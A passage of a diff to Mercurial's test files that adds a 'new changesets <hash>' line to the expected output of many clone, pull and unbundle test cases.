   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -165,6 +177,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files
+  new changesets 4ce51a113780:916f1afdef90
   (run 'hg update' to get a working copy)
   $ cd ..
   $ cd test-2
@@ -175,6 +188,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985:f03ae5a9b979
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -189,6 +203,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
   $ hg verify
   checking changesets
diff --git a/tests/test-http-proxy.t b/tests/test-http-proxy.t
--- a/tests/test-http-proxy.t
+++ b/tests/test-http-proxy.t
@@ -39,6 +39,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd b-pull
@@ -58,6 +59,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -69,6 +71,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -80,6 +83,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -98,6 +102,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat proxy.log
diff --git a/tests/test-http.t b/tests/test-http.t
--- a/tests/test-http.t
+++ b/tests/test-http.t
@@ -55,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -74,6 +75,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -85,6 +87,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -107,6 +110,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -r . -R updated
@@ -124,6 +128,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -149,6 +154,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT1/
   (run 'hg update' to get a working copy)
   $ cd ..
@@ -227,6 +233,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -325,6 +332,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -334,6 +342,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -381,6 +390,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R test-partial-clone
@@ -390,6 +400,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets 5fed3813f7f5:56f9bc90cce6
   (run 'hg update' to get a working copy)
 
 corrupt cookies file should yield a warning
diff --git a/tests/test-https.t b/tests/test-https.t
--- a/tests/test-https.t
+++ b/tests/test-https.t
@@ -148,6 +148,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
 A per-host certificate with multiple certs and one matching will be accepted
 
@@ -159,6 +160,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
 Defining both per-host certificate and a fingerprint will print a warning
 
@@ -170,6 +172,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
   $ DISABLECACERTS="--config devel.disableloaddefaultcerts=true"
 
@@ -189,6 +192,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -226,6 +230,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=https://localhost:$HGPORT/
   (run 'hg update' to get a working copy)
   $ cd ..
diff --git a/tests/test-import-bypass.t b/tests/test-import-bypass.t
--- a/tests/test-import-bypass.t
+++ b/tests/test-import-bypass.t
@@ -266,6 +266,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 07f494440405:4e322f7ce8e3
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-multi1
@@ -292,6 +293,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 07f494440405:4e322f7ce8e3
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-multi2
diff --git a/tests/test-import-merge.t b/tests/test-import-merge.t
--- a/tests/test-import-merge.t
+++ b/tests/test-import-merge.t
@@ -37,6 +37,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files
+  new changesets 07f494440405:890ecaa90481
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo2
@@ -47,6 +48,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 102a90ea7b4a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Test without --exact and diff.p1 == workingdir.p1
diff --git a/tests/test-import.t b/tests/test-import.t
--- a/tests/test-import.t
+++ b/tests/test-import.t
@@ -31,6 +31,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --cwd b import ../exported-tip.patch
@@ -62,6 +63,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --config ui.patch="$PYTHON ../dummypatch.py" --cwd b import --edit ../exported-tip.patch
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat > $TESTTMP/editor.sh <<EOF
@@ -134,6 +137,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -mpatch ../diffed-tip.patch
@@ -150,6 +154,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -mpatch -d '1 0' -u 'user@nowhere.net' ../diffed-tip.patch
@@ -183,6 +188,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --cwd b import --no-commit --edit ../diffed-tip.patch
@@ -204,6 +210,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ sed 's/1,1/foo/' < diffed-tip.patch > broken.patch
@@ -224,6 +231,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd dir
@@ -240,6 +248,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import - < exported-tip.patch
@@ -266,6 +275,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -m 'override' - < exported-tip.patch
@@ -292,6 +302,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg.py diffed-tip.patch msg.patch
@@ -310,6 +321,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ grep -v '^Subject:' msg.patch | hg --cwd b import -
@@ -324,6 +336,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ grep -v '^email ' msg.patch | hg --cwd b import -
@@ -338,6 +351,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ egrep -v '^(Subject|email)' msg.patch | hg --cwd b import -
@@ -354,6 +368,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg.py exported-tip.patch msg.patch
@@ -385,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg2.py diffed-tip.patch msg.patch
@@ -653,6 +669,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd a export tip > tmp
diff --git a/tests/test-incoming-outgoing.t b/tests/test-incoming-outgoing.t
--- a/tests/test-incoming-outgoing.t
+++ b/tests/test-incoming-outgoing.t
@@ -329,12 +329,14 @@
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 1 files
+  new changesets 00a43fa82f62:e4feb4ac9035
   (run 'hg update' to get a working copy)
   $ hg -R temp2 unbundle test2.hg
   adding changesets
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 1 files
+  new changesets 00a43fa82f62:e4feb4ac9035
   (run 'hg update' to get a working copy)
   $ hg -R temp tip
   changeset:   8:e4feb4ac9035
diff --git a/tests/test-issue1306.t b/tests/test-issue1306.t
--- a/tests/test-issue1306.t
+++ b/tests/test-issue1306.t
@@ -47,6 +47,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch br
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -66,6 +67,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -83,6 +85,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch br
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-issue1502.t b/tests/test-issue1502.t
--- a/tests/test-issue1502.t
+++ b/tests/test-issue1502.t
@@ -19,6 +19,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 273d008d6e8e
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R foo1 book branchy
@@ -35,6 +36,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 84a798d48b17
   (run 'hg update' to get a working copy)
 
   $ hg -R foo1 book
diff --git a/tests/test-issue1802.t b/tests/test-issue1802.t
--- a/tests/test-issue1802.t
+++ b/tests/test-issue1802.t
@@ -43,6 +43,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 2d8bcf2dda39
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg manifest -v -r tip
diff --git a/tests/test-issue586.t b/tests/test-issue586.t
--- a/tests/test-issue586.t
+++ b/tests/test-issue586.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cb9a9f314b8b
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -57,6 +58,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7132ab4568ac
   (run 'hg update' to get a working copy)
   $ hg update
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -72,6 +74,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 5ddceb349652
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 merge both repos
diff --git a/tests/test-keyword.t b/tests/test-keyword.t
--- a/tests/test-keyword.t
+++ b/tests/test-keyword.t
@@ -125,6 +125,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets a2392c293916
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ echo 'expand $Id$' > a
@@ -260,6 +261,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets a2392c293916:ef63ca68695b
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -918,6 +920,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets a2392c293916:ef63ca68695b
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd Test-a
diff --git a/tests/test-largefiles-cache.t b/tests/test-largefiles-cache.t
--- a/tests/test-largefiles-cache.t
+++ b/tests/test-largefiles-cache.t
@@ -45,6 +45,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets eb85d9124f3f:26c18ce05e4e
   (run 'hg update' to get a working copy)
 
 Update working directory to "tip", which requires largefile("large"),
@@ -86,6 +87,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets eb85d9124f3f
   (run 'hg update' to get a working copy)
 
 #if unix-permissions
diff --git a/tests/test-largefiles-misc.t b/tests/test-largefiles-misc.t
--- a/tests/test-largefiles-misc.t
+++ b/tests/test-largefiles-misc.t
@@ -111,6 +111,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 09a186cfa6da
   updating to branch default
   getting changed largefiles
   1 largefiles updated, 0 removed
@@ -1113,6 +1114,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bf5e395ced2c
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-largefiles-small-disk.t b/tests/test-largefiles-small-disk.t
--- a/tests/test-largefiles-small-disk.t
+++ b/tests/test-largefiles-small-disk.t
@@ -63,6 +63,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 390cf214e9ac
   updating to branch default
   getting changed largefiles
   abort: No space left on device
diff --git a/tests/test-largefiles-update.t b/tests/test-largefiles-update.t
--- a/tests/test-largefiles-update.t
+++ b/tests/test-largefiles-update.t
@@ -458,6 +458,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 5 files
+  new changesets 9530e27857f7:d65e59e952a9
   remote turned local largefile large2 into a normal file
   keep (l)argefile or use (n)ormal file? l
   largefile large1 has a merge conflict
@@ -493,6 +494,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 5 files
+  new changesets 9530e27857f7:d65e59e952a9
   remote turned local largefile large2 into a normal file
   keep (l)argefile or use (n)ormal file? l
   largefile large1 has a merge conflict
diff --git a/tests/test-largefiles-wireproto.t b/tests/test-largefiles-wireproto.t
--- a/tests/test-largefiles-wireproto.t
+++ b/tests/test-largefiles-wireproto.t
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b6eb3a2e2efe
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -53,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b6eb3a2e2efe
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 #endif
@@ -224,6 +226,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets cf03e5bb9936
 
 Archive contains largefiles
   >>> import os
@@ -339,6 +342,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 567253b0f523:04d19c27a332
   $ hg -R batchverifyclone verify --large --lfa
   checking changesets
   checking manifests
@@ -375,6 +379,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 6bba8cb6935d
   (run 'hg update' to get a working copy)
   $ hg -R batchverifyclone verify --lfa
   checking changesets
@@ -437,6 +442,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 567253b0f523
   updating to branch default
   getting changed largefiles
   1 largefiles updated, 0 removed
diff --git a/tests/test-largefiles.t b/tests/test-largefiles.t
--- a/tests/test-largefiles.t
+++ b/tests/test-largefiles.t
@@ -961,6 +961,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 10 changes to 4 files
+  new changesets 30d30fe6a5be:9e8fbc4bce62
   updating to branch default
   getting changed largefiles
   2 largefiles updated, 0 removed
@@ -1089,6 +1090,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 8 changes to 4 files
+  new changesets 30d30fe6a5be:ce8896473775
   updating to branch default
   getting changed largefiles
   2 largefiles updated, 0 removed
@@ -1102,6 +1104,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 16 changes to 8 files
+  new changesets 51a0ae4d5864:daea875e9014
   (run 'hg update' to get a working copy)
   6 largefiles cached
 
@@ -1129,6 +1132,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 16 changes to 8 files
+  new changesets 51a0ae4d5864:daea875e9014
   calling hook changegroup.lfiles: hgext.largefiles.reposetup.checkrequireslfiles
   (run 'hg update' to get a working copy)
   pulling largefiles for revision 7
@@ -1201,6 +1205,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets a381d2c8c80e
   rebasing 8:f574fb32bb45 "modify normal file largefile in repo d"
   Invoking status precommit hook
   M sub/normal4
@@ -1258,6 +1263,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets a381d2c8c80e
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg rebase
   rebasing 8:f574fb32bb45 "modify normal file largefile in repo d"
@@ -1663,6 +1669,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 24 changes to 10 files
+  new changesets 30d30fe6a5be:daea875e9014
   updating to branch default
   getting changed largefiles
   3 largefiles updated, 0 removed
@@ -1688,6 +1695,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 4 changes to 4 files (+1 heads)
+  new changesets a381d2c8c80e:598410d3eb9a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   2 largefiles cached
   $ hg merge
@@ -1763,6 +1771,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 26 changes to 10 files
+  new changesets 30d30fe6a5be:a381d2c8c80e
   updating to branch default
   getting changed largefiles
   3 largefiles updated, 0 removed
@@ -1775,6 +1784,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 598410d3eb9a
   $ hg log --template '{rev}:{node|short}  {desc|firstline}\n'
   9:598410d3eb9a  modify normal file largefile in repo d
   8:a381d2c8c80e  modify normal file and largefile in repo b
diff --git a/tests/test-manifestv2.t b/tests/test-manifestv2.t
--- a/tests/test-manifestv2.t
+++ b/tests/test-manifestv2.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0fc9a4fafa44
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd new
diff --git a/tests/test-merge-commit.t b/tests/test-merge-commit.t
--- a/tests/test-merge-commit.t
+++ b/tests/test-merge-commit.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files (+1 heads)
+  new changesets 2665aaee66e9:0f2ff26688b9
   $ cd b
 
   $ hg up -C 1
diff --git a/tests/test-merge10.t b/tests/test-merge10.t
--- a/tests/test-merge10.t
+++ b/tests/test-merge10.t
@@ -33,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cc7000b01af9
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up -C 2
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-merge6.t b/tests/test-merge6.t
--- a/tests/test-merge6.t
+++ b/tests/test-merge6.t
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b90e70beeb58
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -58,6 +59,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets e1adc944e717
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-merge7.t b/tests/test-merge7.t
--- a/tests/test-merge7.t
+++ b/tests/test-merge7.t
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 96b70246a118
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   merging test.txt
@@ -77,6 +78,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 40d11a4173a8
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge --debug
     searching for copies back to rev 1
diff --git a/tests/test-merge8.t b/tests/test-merge8.t
--- a/tests/test-merge8.t
+++ b/tests/test-merge8.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets e3c9b40284e1:772b37f1ca37
   (run 'hg update' to get a working copy)
   $ hg update
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-mq-pull-from-bundle.t b/tests/test-mq-pull-from-bundle.t
--- a/tests/test-mq-pull-from-bundle.t
+++ b/tests/test-mq-pull-from-bundle.t
@@ -88,6 +88,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets d7553909353d
   merging series
   2 files updated, 1 files merged, 0 files removed, 0 files unresolved
   $ test -f .hg/patches/hg-bundle* && echo 'temp. bundle file remained' || true
@@ -119,6 +120,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets d7553909353d
   merging series
   2 files updated, 1 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-mq-qclone-http.t b/tests/test-mq-qclone-http.t
--- a/tests/test-mq-qclone-http.t
+++ b/tests/test-mq-qclone-http.t
@@ -47,11 +47,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -86,11 +88,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -125,11 +129,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-mq-safety.t b/tests/test-mq-safety.t
--- a/tests/test-mq-safety.t
+++ b/tests/test-mq-safety.t
@@ -166,6 +166,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 07f494440405
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo a >> a
diff --git a/tests/test-mq.t b/tests/test-mq.t
--- a/tests/test-mq.t
+++ b/tests/test-mq.t
@@ -782,6 +782,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 770eb8fce608
   (run 'hg update' to get a working copy)
 
 
diff --git a/tests/test-notify-changegroup.t b/tests/test-notify-changegroup.t
--- a/tests/test-notify-changegroup.t
+++ b/tests/test-notify-changegroup.t
@@ -85,6 +85,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
   (run 'hg update' to get a working copy)
   $ hg --cwd a rollback
   repository tip rolled back to revision -1 (undo unbundle)
@@ -97,6 +98,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
diff --git a/tests/test-notify.t b/tests/test-notify.t
--- a/tests/test-notify.t
+++ b/tests/test-notify.t
@@ -188,6 +188,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -241,6 +242,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -283,6 +285,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -328,6 +331,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files
+  new changesets 0a184ce6067f:6a0cf76b2701
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -383,6 +387,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7ea05ad269dc
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 8bit
